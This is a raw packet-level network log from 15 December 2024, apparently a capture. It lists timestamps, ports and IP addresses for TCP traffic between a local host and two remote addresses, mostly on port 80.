Dec 15, 2024 11:59:31.604754925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.605830908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.605870008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.605911970 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.605947018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.607018948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.607057095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.607074022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.607110023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.608263969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.608302116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.608422995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.608459949 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.609358072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.609416008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.609433889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.609467030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.610542059 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.610558987 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.610582113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.610596895 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.611696005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.611733913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.611888885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.611927032 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.612879038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.612925053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.613029003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.613065004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.614203930 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.614243031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.614312887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.614347935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.615221024 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.615258932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.615276098 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.615317106 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.616455078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.616508007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.616575003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.616611958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.617526054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.617584944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.617659092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.617696047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.618702888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.618741989 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.618840933 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.618886948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.619911909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.619951963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.620027065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.620064020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.621054888 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.621095896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.621160984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.621196985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.622299910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.622339010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.622421980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.622458935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.623434067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.623471975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.623533010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.623570919 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.623764038 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:31.624582052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.624619961 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.624680042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.624716997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.625746012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.625786066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.625861883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.625900030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.626919031 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.626955986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.627017975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.627054930 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.628087997 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.628128052 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.628197908 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.628232956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.629290104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.629328012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.629400015 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.629451990 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.630490065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.630532980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.630548954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.630582094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.631634951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.631671906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.631838083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.631875992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.632776976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.632818937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.632998943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.633033991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.633966923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.634004116 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.634108067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.634143114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.635119915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.635154963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.635206938 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.635240078 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.636305094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.636343002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.636444092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.636478901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.637463093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.637479067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.637500048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.637516022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.638672113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.638710022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.638750076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.638784885 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.639803886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.639847040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.639944077 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.639981031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.641021967 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.641069889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.641088963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.641122103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.642179966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.642218113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.642272949 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.642309904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.643345118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.643385887 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.643448114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.643486023 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.644532919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.644571066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.644737959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.644774914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.645677090 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.645713091 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.645776033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.645812035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.646859884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.646899939 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.646980047 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.647015095 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.648036003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.648073912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.648134947 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.648170948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.649195910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.649245024 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.649311066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.649347067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.650372028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.650409937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.650480032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.650516033 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.651530027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.651576042 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.651638985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.651673079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.652723074 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.652765036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.652889013 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.652928114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.653887033 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.653925896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.654047966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.654084921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.655113935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.655153036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.655292034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.655339956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.656356096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.656372070 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.656394958 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.656404972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.657442093 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.657505035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.657521963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.657555103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.658586979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.658637047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.658711910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.658749104 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.659754038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.659796953 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.743575096 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:31.759289026 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:31.790766001 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.790839911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.791102886 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.791156054 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.791306973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.791357040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.791368961 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.791412115 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.792326927 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.792378902 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.792798042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.792845011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.792973042 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.793016911 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.794150114 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.794186115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.794199944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.794228077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.796124935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.796184063 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.796268940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.796314001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.796365976 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.796405077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.796447039 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.796497107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.797466040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.797509909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.797554016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.797600031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.798660994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.798702955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.798715115 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.798758984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.799829960 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.799876928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.799983025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.800030947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.801016092 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.801068068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.801120996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.801160097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.802216053 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.802258015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.802460909 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.802500010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.803384066 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.803428888 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.803482056 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.803522110 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.804507971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.804558992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.804579020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.804599047 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.805713892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.805763960 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.805818081 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.805852890 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.806866884 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.806910992 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.807100058 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.807137966 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.808067083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.808115005 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.808167934 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.808217049 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.810003996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.810051918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.811578989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.811621904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.812894106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.812912941 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.812928915 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.812935114 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.812944889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.812949896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.812966108 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.812983036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.813793898 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.813848972 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.813966990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.813997984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.814834118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.814851046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.814872980 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.814893007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.815051079 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.815084934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.815237045 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.815274954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.816258907 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.816308975 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.816443920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.816482067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.817481041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.817559004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.817603111 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.817641020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.818593979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.818640947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.818728924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.818766117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.819742918 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.819780111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.819855928 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.819890022 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.820996046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.821031094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.821093082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.821125031 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.822119951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.822161913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.822242975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.822283030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.823268890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.823307991 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.823399067 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.823447943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.824738026 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.824773073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.825155020 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.825193882 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.828552008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.828587055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.828593016 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.828624010 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.828696966 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.828733921 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.828738928 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.828772068 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.829070091 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.829107046 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.829209089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.829245090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.830301046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.830336094 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.830341101 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.830370903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.831440926 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.831475973 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.831484079 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.831516027 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.832530975 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.832577944 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.832710981 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.832750082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.833764076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.833801985 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:31.833931923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:31.833970070 CET	49805	80	192.168.2.4	31.41.244.11
